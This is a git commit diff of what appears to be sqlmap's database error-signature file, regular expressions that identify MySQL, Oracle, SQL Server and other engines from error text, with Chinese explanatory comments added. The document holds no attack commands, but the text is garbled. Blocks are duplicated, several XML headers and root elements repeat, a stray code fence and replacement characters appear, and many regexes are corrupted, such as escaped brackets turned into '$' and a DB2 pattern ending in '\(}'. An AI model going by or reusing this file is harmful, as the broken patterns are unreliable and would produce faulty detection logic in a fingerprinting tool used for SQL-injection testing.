Merge remote-tracking branch 'remotes/origin/main' into wangjun_branch

wangjun_branch
liguanwei 3 months ago
commit 2ee29a7338

@ -1,2 +0,0 @@
# sqlmap

@ -1,240 +1,357 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms>
<dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/>
<error regexp="valid PostgreSQL result"/>
<error regexp="Npgsql\."/>
<error regexp="PG::SyntaxError:"/>
<error regexp="org\.postgresql\.util\.PSQLException"/>
<error regexp="ERROR:\s\ssyntax error at or near"/>
<error regexp="ERROR: parser: parse error at or near"/>
<error regexp="PostgreSQL query failed"/>
<error regexp="org\.postgresql\.jdbc"/>
<error regexp="Pdo[./_\\]Pgsql"/>
<error regexp="PSQLException"/>
</dbms>
<dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/>
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/>
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/>
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
<error regexp="\[SQL Server\]"/>
<error regexp="ODBC SQL Server Driver"/>
<error regexp="ODBC Driver \d+ for SQL Server"/>
<error regexp="SQLServer JDBC Driver"/>
<error regexp="com\.jnetdirect\.jsql"/>
<error regexp="macromedia\.jdbc\.sqlserver"/>
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/>
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
<error regexp="SQL(Srv|Server)Exception"/>
<error regexp="Unclosed quotation mark after the character string"/>
</dbms>
<dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/>
<error regexp="JET Database Engine"/>
<error regexp="Access Database Engine"/>
<error regexp="ODBC Microsoft Access"/>
<error regexp="Syntax error \(missing operator\) in query expression"/>
</dbms>
<dbms value="Oracle">
<error regexp="\bORA-\d{5}"/>
<error regexp="Oracle error"/>
<error regexp="Oracle.*?Driver"/>
<error regexp="Warning.*?\W(oci|ora)_"/>
<error regexp="quoted string not properly terminated"/>
<error regexp="SQL command not properly ended"/>
<error regexp="macromedia\.jdbc\.oracle"/>
<error regexp="oracle\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
<error regexp="OracleException"/>
</dbms>
<dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
<error regexp="DB2Exception"/>
<error regexp="ibm_db_dbi\.ProgrammingError"/>
</dbms>
<dbms value="Informix">
<error regexp="Warning.*?\Wifx_"/>
<error regexp="Exception.*?Informix"/>
<error regexp="Informix ODBC Driver"/>
<error regexp="ODBC Informix driver"/>
<error regexp="com\.informix\.jdbc"/>
<error regexp="weblogic\.jdbc\.informix"/>
<error regexp="Pdo[./_\\]Informix"/>
<error regexp="IfxException"/>
<?xml version="1.0" encoding="UTF-8"?> <!-- 声明XML文档的版本和编码方式 -->
<root> <!-- 定义XML文档的根元素 -->
<dbms value="MySQL"> <!-- 定义MySQL数据库管理系统 -->
<error regexp="SQL syntax.*?MySQL"/> <!-- 匹配MySQL语法错误的错误信息 -->
<error regexp="Warning.*?\Wmysqli?_"/> <!-- 匹配MySQLi扩展的警告信息 -->
<error regexp="MySQLSyntaxErrorException"/> <!-- 匹配MySQL语法异常的错误信息 -->
<error regexp="valid MySQL result"/> <!-- 匹配无效的MySQL查询结果的错误信息 -->
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/> <!-- 匹配与MySQL服务器版本不匹配的错误信息 -->
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/> <!-- 匹配与MariaDB服务器版本不匹配的错误信息 -->
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/> <!-- 匹配与Drizzle服务器版本不匹配的错误信息 -->
<error regexp="Unknown column '[^ ]+' in 'field list'"/> <!-- 匹配未知列名的错误信息 -->
<error regexp="MySqlClient\."/> <!-- 匹配MySqlClient相关的错误信息 -->
<error regexp="com\.mysql\.jdbc"/> <!-- 匹配MySQL JDBC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/> <!-- 匹配Zend框架中MySQLi相关的异常信息 -->
<error regexp="Pdo[./_\\]Mysql"/> <!-- 匹配PDO MySQL驱动的错误信息 -->
<error regexp="MySqlException"/> <!-- 匹配MySQL异常的错误信息 -->
<error regexp="SQLSTATE$\d+$: Syntax error or access violation"/> <!-- 匹配SQL语法错误或访问违规的错误信息 -->
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息 -->
<error regexp="is not supported by MemSQL" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息 -->
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/> <!-- 匹配MemSQL不支持的嵌套标量子查询的错误信息 -->
</dbms>
<dbms value="PostgreSQL"> <!-- 定义PostgreSQL数据库管理系统 -->
<error regexp="PostgreSQL.*?ERROR"/> <!-- 匹配PostgreSQL错误信息 -->
<error regexp="Warning.*?\Wpg_"/> <!-- 匹配PostgreSQL扩展的警告信息 -->
<error regexp="valid PostgreSQL result"/> <!-- 匹配无效的PostgreSQL查询结果的错误信息 -->
<error regexp="Npgsql\."/> <!-- 匹配Npgsql驱动的错误信息 -->
<error regexp="PG::SyntaxError:"/> <!-- 匹配PostgreSQL语法错误信息 -->
<error regexp="org\.postgresql\.util\.PSQLException"/> <!-- 匹配PostgreSQL JDBC驱动的异常信息 -->
<error regexp="ERROR:\s\ssyntax error at or near"/> <!-- 匹配PostgreSQL语法错误信息 -->
<error regexp="ERROR: parser: parse error at or near"/> <!-- 匹配PostgreSQL解析错误信息 -->
<error regexp="PostgreSQL query failed"/> <!-- 匹配PostgreSQL查询失败的错误信息 -->
<error regexp="org\.postgresql\.jdbc"/> <!-- 匹配PostgreSQL JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Pgsql"/> <!-- 匹配PDO PostgreSQL驱动的错误信息 -->
<error regexp="PSQLException"/> <!-- 匹配PostgreSQL异常的错误信息 -->
</dbms>
<dbms value="Microsoft SQL Server"> <!-- 定义Microsoft SQL Server数据库管理系统 -->
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/> <!-- 匹配SQL Server驱动的错误信息 -->
<error regexp="OLE DB.*? SQL Server"/> <!-- 匹配OLE DB SQL Server驱动的错误信息 -->
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/> <!-- 匹配SQL Server驱动的错误信息 -->
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/> <!-- 匹配SQL Server扩展的警告信息 -->
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server驱动的错误信息 -->
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/> <!-- 匹配SQL Server .NET驱动的异常信息 -->
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/> <!-- 匹配Roadhouse CMS相关的异常信息 -->
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server Native Client的错误信息 -->
<error regexp="$SQL Server$"/> <!-- 匹配SQL Server的错误信息 -->
<error regexp="ODBC SQL Server Driver"/> <!-- 匹配ODBC SQL Server驱动的错误信息 -->
<error regexp="ODBC Driver \d+ for SQL Server"/> <!-- 匹配ODBC SQL Server驱动的错误信息 -->
<error regexp="SQLServer JDBC Driver"/> <!-- 匹配SQL Server JDBC驱动的错误信息 -->
<error regexp="com\.jnetdirect\.jsql"/> <!-- 匹配JNetDirect SQL Server驱动的错误信息 -->
<error regexp="macromedia\.jdbc\.sqlserver"/> <!-- 匹配Macromedia SQL Server驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/> <!-- 匹配Zend框架中SQL Server相关的异常信息 -->
<error regexp="com\.microsoft\.sqlserver\.jdbc"/> <!-- 匹配Microsoft SQL Server JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/> <!-- 匹配PDO SQL Server驱动的错误信息 -->
<error regexp="SQL(Srv|Server)Exception"/> <!-- 匹配SQL Server异常的错误信息 -->
<error regexp="Unclosed quotation mark after the character string"/> <!-- 匹配未闭合的引号的错误信息 -->
</dbms>
<?xml version="1.0" encoding="UTF-8"?> <!-- 声明XML文档的版本为1.0编码方式为UTF-8 -->
<root> <!-- 定义XML文档的根元素所有内容都包含在此标签内 -->
<dbms value="MySQL"> <!-- 定义MySQL数据库管理系统value属性指定数据库类型为MySQL -->
<error regexp="SQL syntax.*?MySQL"/> <!-- 匹配包含“SQL syntax”和“MySQL”的错误信息用于识别MySQL语法错误 -->
<error regexp="Warning.*?\Wmysqli?_"/> <!-- 匹配包含“Warning”和“mysqli”或“mysql”的警告信息用于识别MySQL扩展的警告 -->
<error regexp="MySQLSyntaxErrorException"/> <!-- 匹配MySQL语法异常的错误信息用于识别MySQL语法错误 -->
<error regexp="valid MySQL result"/> <!-- 匹配无效的MySQL查询结果的错误信息用于识别查询结果无效的情况 -->
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/> <!-- 匹配与MySQL服务器版本不匹配的错误信息提示用户检查手册 -->
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/> <!-- 匹配与MariaDB服务器版本不匹配的错误信息fork属性指定为MariaDB -->
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/> <!-- 匹配与Drizzle服务器版本不匹配的错误信息fork属性指定为Drizzle -->
<error regexp="Unknown column '[^ ]+' in 'field list'"/> <!-- 匹配未知列名的错误信息,用于识别字段列表中不存在的列 -->
<error regexp="MySqlClient\."/> <!-- 匹配MySqlClient相关的错误信息用于识别MySqlClient驱动的错误 -->
<error regexp="com\.mysql\.jdbc"/> <!-- 匹配MySQL JDBC驱动的错误信息用于识别JDBC相关的错误 -->
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/> <!-- 匹配Zend框架中MySQLi相关的异常信息用于识别Zend框架中的MySQLi错误 -->
<error regexp="Pdo[./_\\]Mysql"/> <!-- 匹配PDO MySQL驱动的错误信息用于识别PDO驱动的错误 -->
<error regexp="MySqlException"/> <!-- 匹配MySQL异常的错误信息用于识别MySQL相关的异常 -->
<error regexp="SQLSTATE$\d+$: Syntax error or access violation"/> <!-- 匹配SQL语法错误或访问违规的错误信息用于识别SQLSTATE错误 -->
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息fork属性指定为MemSQL -->
<error regexp="is not supported by MemSQL" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息fork属性指定为MemSQL -->
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/> <!-- 匹配MemSQL不支持的嵌套标量子查询的错误信息fork属性指定为MemSQL -->
</dbms>
<dbms value="PostgreSQL"> <!-- 定义PostgreSQL数据库管理系统value属性指定数据库类型为PostgreSQL -->
<error regexp="PostgreSQL.*?ERROR"/> <!-- 匹配包含“PostgreSQL”和“ERROR”的错误信息用于识别PostgreSQL错误 -->
<error regexp="Warning.*?\Wpg_"/> <!-- 匹配包含“Warning”和“pg_”的警告信息用于识别PostgreSQL扩展的警告 -->
<error regexp="valid PostgreSQL result"/> <!-- 匹配无效的PostgreSQL查询结果的错误信息用于识别查询结果无效的情况 -->
<error regexp="Npgsql\."/> <!-- 匹配Npgsql驱动的错误信息用于识别Npgsql驱动的错误 -->
<error regexp="PG::SyntaxError:"/> <!-- 匹配PostgreSQL语法错误信息用于识别语法错误 -->
<error regexp="org\.postgresql\.util\.PSQLException"/> <!-- 匹配PostgreSQL JDBC驱动的异常信息用于识别JDBC相关的错误 -->
<error regexp="ERROR:\s\ssyntax error at or near"/> <!-- 匹配PostgreSQL语法错误信息用于识别语法错误 -->
<error regexp="ERROR: parser: parse error at or near"/> <!-- 匹配PostgreSQL解析错误信息用于识别解析错误 -->
<error regexp="PostgreSQL query failed"/> <!-- 匹配PostgreSQL查询失败的错误信息用于识别查询失败的情况 -->
<error regexp="org\.postgresql\.jdbc"/> <!-- 匹配PostgreSQL JDBC驱动的错误信息用于识别JDBC相关的错误 -->
<error regexp="Pdo[./_\\]Pgsql"/> <!-- 匹配PDO PostgreSQL驱动的错误信息用于识别PDO驱动的错误 -->
<error regexp="PSQLException"/> <!-- 匹配PostgreSQL异常的错误信息用于识别PostgreSQL相关的异常 -->
</dbms>
<dbms value="Microsoft SQL Server"> <!-- 定义Microsoft SQL Server数据库管理系统value属性指定数据库类型为SQL Server -->
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/> <!-- 匹配包含“Driver”和“SQL Server”的错误信息用于识别SQL Server驱动的错误 -->
<error regexp="OLE DB.*? SQL Server"/> <!-- 匹配包含“OLE DB”和“SQL Server”的错误信息用于识别OLE DB驱动的错误 -->
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/> <!-- 匹配SQL Server驱动的错误信息用于识别驱动相关的错误 -->
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/> <!-- 匹配包含“Warning”和“mssql”或“sqlsrv”的警告信息用于识别SQL Server扩展的警告 -->
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server驱动的错误信息用于识别驱动相关的错误 -->
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/> <!-- 匹配SQL Server .NET驱动的异常信息用于识别.NET驱动的错误 -->
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/> <!-- 匹配Roadhouse CMS相关的异常信息用于识别CMS相关的错误 -->
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server Native Client的错误信息用于识别Native Client的错误 -->
<error regexp="$SQL Server$"/> <!-- 匹配SQL Server的错误信息用于识别SQL Server相关的错误 -->
<error regexp="ODBC SQL Server Driver"/> <!-- 匹配ODBC SQL Server驱动的错误信息用于识别ODBC驱动的错误 -->
<error regexp="ODBC Driver \d+ for SQL Server"/> <!-- 匹配ODBC SQL Server驱动的错误信息用于识别ODBC驱动的错误 -->
<error regexp="SQLServer JDBC Driver"/> <!-- 匹配SQL Server JDBC驱动的错误信息用于识别JDBC驱动的错误 -->
<error regexp="com\.jnetdirect\.jsql"/> <!-- 匹配JNetDirect SQL Server驱动的错误信息用于识别JNetDirect驱动的错误 -->
<error regexp="macromedia\.jdbc\.sqlserver"/> <!-- 匹配Macromedia SQL Server驱动的错误信息用于识别Macromedia驱动的错误 -->
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/> <!-- 匹配Zend框架中SQL Server相关的异常信息用于识别Zend框架中的SQL Server错误 -->
<error regexp="com\.microsoft\.sqlserver\.jdbc"/> <!-- 匹配Microsoft SQL Server JDBC驱动的错误信息用于识别JDBC驱动的错误 -->
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/> <!-- 匹配PDO SQL Server驱动的错误信息用于识别PDO驱动的错误 -->
<error regexp="SQL(Srv|Server)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
```xml
<root> <!-- 定义XML文档的根元素 -->
<dbms value="Microsoft Access"> <!-- 定义Microsoft Access数据库管理系统 -->
<error regexp="Microsoft Access (\d+ )?Driver"/> <!-- 匹配Microsoft Access驱动的错误信息 -->
<error regexp="JET Database Engine"/> <!-- 匹配JET数据库引擎的错误信息 -->
<error regexp="Access Database Engine"/> <!-- 匹配Access数据库引擎的错误信息 -->
<error regexp="ODBC Microsoft Access"/> <!-- 匹配ODBC Microsoft Access驱动的错误信息 -->
<error regexp="Syntax error $missing operator$ in query expression"/> <!-- 匹配查询表达式中的缺失操作符的语法错误 -->
</dbms>
<dbms value="Oracle"> <!-- 定义Oracle数据库管理系统 -->
<error regexp="\bORA-\d{5}"/> <!-- 匹配ORA错误代码后跟五位数字 -->
<error regexp="Oracle error"/> <!-- 匹配通用的Oracle错误信息 -->
<error regexp="Oracle.*?Driver"/> <!-- 匹配与Oracle相关的驱动错误信息 -->
<error regexp="Warning.*?\W(oci|ora)_"/> <!-- 匹配OCI或ORA相关的警告信息 -->
<error regexp="quoted string not properly terminated"/> <!-- 匹配未正确终止的引号字符串的错误信息 -->
<error regexp="SQL command not properly ended"/> <!-- 匹配未正确结束的SQL命令错误信息 -->
<error regexp="macromedia\.jdbc\.oracle"/> <!-- 匹配Macromedia Oracle JDBC驱动的错误信息 -->
<error regexp="oracle\.jdbc"/> <!-- 匹配Oracle JDBC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/> <!-- 匹配Zend框架中Oracle相关的异常信息 -->
<error regexp="Pdo[./_\\](Oracle|OCI)"/> <!-- 匹配PDO Oracle或OCI驱动的错误信息 -->
<error regexp="OracleException"/> <!-- 匹配Oracle异常的错误信息 -->
</dbms>
<dbms value="IBM DB2"> <!-- 定义IBM DB2数据库管理系统 -->
<error regexp="CLI Driver.*?DB2"/> <!-- 匹配DB2 CLI驱动的错误信息 -->
<error regexp="DB2 SQL error"/> <!-- 匹配DB2 SQL错误的通用错误信息 -->
<error regexp="\bdb2_\w+\(}/> <!-- 匹配DB2相关函数调用的错误信息 -->
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/> <!-- 匹配包含SQLCODE和SQLSTATE的错误信息 -->
<error regexp="com\.ibm\.db2\.jcc"/> <!-- 匹配IBM DB2 JCC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/> <!-- 匹配Zend框架中DB2相关的异常信息 -->
<error regexp="Pdo[./_\\]Ibm"/> <!-- 匹配PDO IBM DB2驱动的错误信息 -->
<error regexp="DB2Exception"/> <!-- 匹配DB2异常的错误信息 -->
<error regexp="ibm_db_dbi\.ProgrammingError"/> <!-- 匹配ibm_db_dbi中的编程错误信息 -->
</dbms>
<dbms value="Informix"> <!-- 定义Informix数据库管理系统 -->
<error regexp="Warning.*?\Wifx_"/> <!-- 匹配Informix扩展相关的警告信息 -->
<error regexp="Exception.*?Informix"/> <!-- 匹配Informix相关的异常信息 -->
<error regexp="Informix ODBC Driver"/> <!-- 匹配Informix ODBC驱动的错误信息 -->
<error regexp="ODBC Informix driver"/> <!-- 匹配ODBC Informix驱动的错误信息 -->
<error regexp="com\.informix\.jdbc"/> <!-- 匹配Informix JDBC驱动的错误信息 -->
<error regexp="weblogic\.jdbc\.informix"/> <!-- 匹配WebLogic中Informix JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Informix"/> <!-- 匹配PDO Informix驱动的错误信息 -->
<error regexp="IfxException"/> <!-- 匹配Informix异常的错误信息 -->
</dbms>
<!-- Interbase/Firebird -->
<dbms value="Firebird">
<error regexp="Dynamic SQL Error"/>
<error regexp="Warning.*?\Wibase_"/>
<error regexp="org\.firebirdsql\.jdbc"/>
<error regexp="Pdo[./_\\]Firebird"/>
<dbms value="Firebird"> <!-- 定义Firebird数据库管理系统 -->
<error regexp="Dynamic SQL Error"/> <!-- 匹配动态SQL错误信息 -->
<error regexp="Warning.*?\Wibase_"/> <!-- 匹配Firebird扩展相关的警告信息 -->
<error regexp="org\.firebirdsql\.jdbc"/> <!-- 匹配Firebird SQL JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Firebird"/> <!-- 匹配PDO Firebird驱动的错误信息 -->
</dbms>
<dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/>
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/>
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/>
<error regexp="\[SQLITE_ERROR\]"/>
<error regexp="SQLite error \d+:"/>
<error regexp="sqlite3.OperationalError:"/>
<error regexp="SQLite3::SQLException"/>
<error regexp="org\.sqlite\.JDBC"/>
<error regexp="Pdo[./_\\]Sqlite"/>
<error regexp="SQLiteException"/>
<dbms value="SQLite"> <!-- 定义SQLite数据库管理系统 -->
<error regexp="SQLite/JDBCDriver"/> <!-- 匹配SQLite JDBC驱动的错误信息 -->
<error regexp="SQLite\.Exception"/> <!-- 匹配SQLite异常的错误信息 -->
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/> <!-- 匹配Microsoft或System Data的SQLite异常信息 -->
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/> <!-- 匹配SQLite或SQLite3相关的警告信息 -->
<error regexp="$SQLITE_ERROR$"/> <!-- 匹配SQLite错误信息 -->
<error regexp="SQLite error \d+:"/> <!-- 匹配SQLite错误代码的信息 -->
<error regexp="sqlite3.OperationalError:"/> <!-- 匹配SQLite3操作错误的信息 -->
<error regexp="SQLite3::SQLException"/> <!-- 匹配SQLite3 SQL异常的信息 -->
<error regexp="org\.sqlite\.JDBC"/> <!-- 匹配SQLite JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Sqlite"/> <!-- 匹配PDO SQLite驱动的错误信息 -->
<error regexp="SQLiteException"/> <!-- 匹配SQLite异常的错误信息 -->
</dbms>
<dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
<dbms value="SAP MaxDB"> <!-- 定义SAP MaxDB数据库管理系统 -->
<error regexp="SQL error.*?POS([0-9]+)"/> <!-- 匹配SAP MaxDB SQL错误的信息其中包括位置编号 -->
<error regexp="Warning.*?\Wmaxdb_"/> <!-- 匹配MaxDB扩展相关的警告信息 -->
<error regexp="DriverSapDB"/> <!-- 匹配SapDB驱动的错误信息 -->
<error regexp="-3014.*?Invalid end of SQL statement"/> <!-- 匹配无效的SQL语句结束的错误信息 -->
<error regexp="com\.sap\.dbtech\.jdbc"/> <!-- 匹配SAP DBTech JDBC驱动的错误信息 -->
<error regexp="$-3008$.*?: Invalid keyword or missing delimiter"/> <!-- 匹配无效关键字或缺失分隔符的错误信息 -->
</dbms>
<dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/>
<error regexp="Sybase.*?Server message"/>
<error regexp="SybSQLException"/>
<error regexp="Sybase\.Data\.AseClient"/>
<error regexp="com\.sybase\.jdbc"/>
<dbms value="Sybase"> <!-- 定义Sybase数据库管理系统 -->
<error regexp="Warning.*?\Wsybase_"/> <!-- 匹配Sybase扩展相关的警告信息 -->
<error regexp="Sybase message"/> <!-- 匹配Sybase消息的错误信息 -->
<error regexp="Sybase.*?Server message"/> <!-- 匹配Sybase服务器消息的错误信息 -->
<error regexp="SybSQLException"/> <!-- 匹配Sybase异常的错误信息 -->
<error regexp="Sybase\.Data\.AseClient"/> <!-- 匹配Sybase .NET AseClient的错误信息 -->
<error regexp="com\.sybase\.jdbc"/> <!-- 匹配Sybase JDBC驱动的错误信息 -->
</dbms>
<dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/>
<error regexp="Ingres\W.*?Driver"/>
<error regexp="com\.ingres\.gcf\.jdbc"/>
<dbms value="Ingres"> <!-- 定义Ingres数据库管理系统 -->
<error regexp="Warning.*?\Wingres_"/> <!-- 匹配Ingres扩展相关的警告信息 -->
<error regexp="Ingres SQLSTATE"/> <!-- 匹配Ingres SQLSTATE错误的信息 -->
<error regexp="Ingres\W.*?Driver"/> <!-- 匹配Ingres驱动的错误信息 -->
<error regexp="com\.ingres\.gcf\.jdbc"/> <!-- 匹配Ingres GCF JDBC驱动的错误信息 -->
</dbms>
<dbms value="FrontBase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
<error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
<dbms value="FrontBase"> <!-- 定义FrontBase数据库管理系统 -->
<error regexp="Exception (condition )?\d+\. Transaction rollback"/> <!-- 匹配回滚事务的异常信息 -->
<error regexp="com\.frontbase\.jdbc"/> <!-- 匹配FrontBase JDBC驱动的错误信息 -->
<error regexp="Syntax error 1. Missing"/> <!-- 匹配语法错误的信息,缺失某部分内容 -->
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/> <!-- 匹配语义或语法错误,后跟一个特定的错误码 -->
</dbms>
<dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/>
<dbms value="HSQLDB"> <!-- 定义HSQLDB数据库管理系统 -->
<error regexp="Unexpected end of command in statement $"/> <!-- 匹配SQL语句意外结束的错误信息 -->
<error regexp="Unexpected token.*?in statement \["/> <!-- 匹配SQL语句中意外标记的错误信息 -->
<error regexp="org\.hsqldb\.jdbc"/> <!-- 匹配HSQLDB JDBC驱动的错误信息 -->
</dbms>
<dbms value="H2">
<error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
<dbms value="H2"> <!-- 定义H2数据库管理系统 -->
<error regexp="org\.h2\.jdbc"/> <!-- 匹配H2 JDBC驱动的错误信息 -->
<error regexp="\[42000-192$"/> <!-- 匹配H2特定错误代码的信息 -->
</dbms>
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
<dbms value="MonetDB"> <!-- 定义MonetDB数据库管理系统 -->
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/> <!-- 匹配包含MonetDB特定错误前缀的错误信息 -->
<error regexp="$MonetDB$\[ODBC Driver"/> <!-- 匹配MonetDB ODBC驱动的错误信息 -->
<error regexp="nl\.cwi\.monetdb\.jdbc"/> <!-- 匹配MonetDB JDBC驱动的错误信息 -->
</dbms>
</root>
<dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<error regexp="org\.apache\.derby"/>
<error regexp="ERROR 42X01"/>
<?xml version="1.0" encoding="UTF-8"?> <!-- 声明XML文档的版本为1.0编码使用UTF-8 -->
<root> <!-- 根元素,包含所有其他元素 -->
<dbms value="Microsoft Access"> <!-- 定义数据库管理系统为Microsoft Access -->
<error regexp="Microsoft Access (\d+ )?Driver"/> <!-- 匹配包含"Microsoft Access"和"Driver"的错误信息,支持可选的版本号 -->
<error regexp="JET Database Engine"/> <!-- 匹配JET数据库引擎的错误信息 -->
<error regexp="Access Database Engine"/> <!-- 匹配Access数据库引擎的错误信息 -->
<error regexp="ODBC Microsoft Access"/> <!-- 匹配ODBC与Microsoft Access相关的错误信息 -->
<error regexp="Syntax error $missing operator$ in query expression"/> <!-- 匹配查询表达式中缺失操作符的语法错误 -->
</dbms>
<dbms value="Oracle"> <!-- 定义数据库管理系统为Oracle -->
<error regexp="\bORA-\d{5}"/> <!-- 匹配ORA错误代码后跟五位数字 -->
<error regexp="Oracle error"/> <!-- 匹配通用的Oracle错误信息 -->
<error regexp="Oracle.*?Driver"/> <!-- 匹配与Oracle驱动相关的错误信息 -->
<error regexp="Warning.*?\W(oci|ora)_"/> <!-- 匹配OCI或ORA相关的警告信息 -->
<error regexp="quoted string not properly terminated"/> <!-- 匹配未正确结束的引用字符串的错误信息 -->
<error regexp="SQL command not properly ended"/> <!-- 匹配SQL命令未正确结束的错误信息 -->
<error regexp="macromedia\.jdbc\.oracle"/> <!-- 匹配Macromedia的Oracle JDBC驱动的错误信息 -->
<error regexp="oracle\.jdbc"/> <!-- 匹配Oracle JDBC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/> <!-- 匹配Zend框架中Oracle相关的异常信息 -->
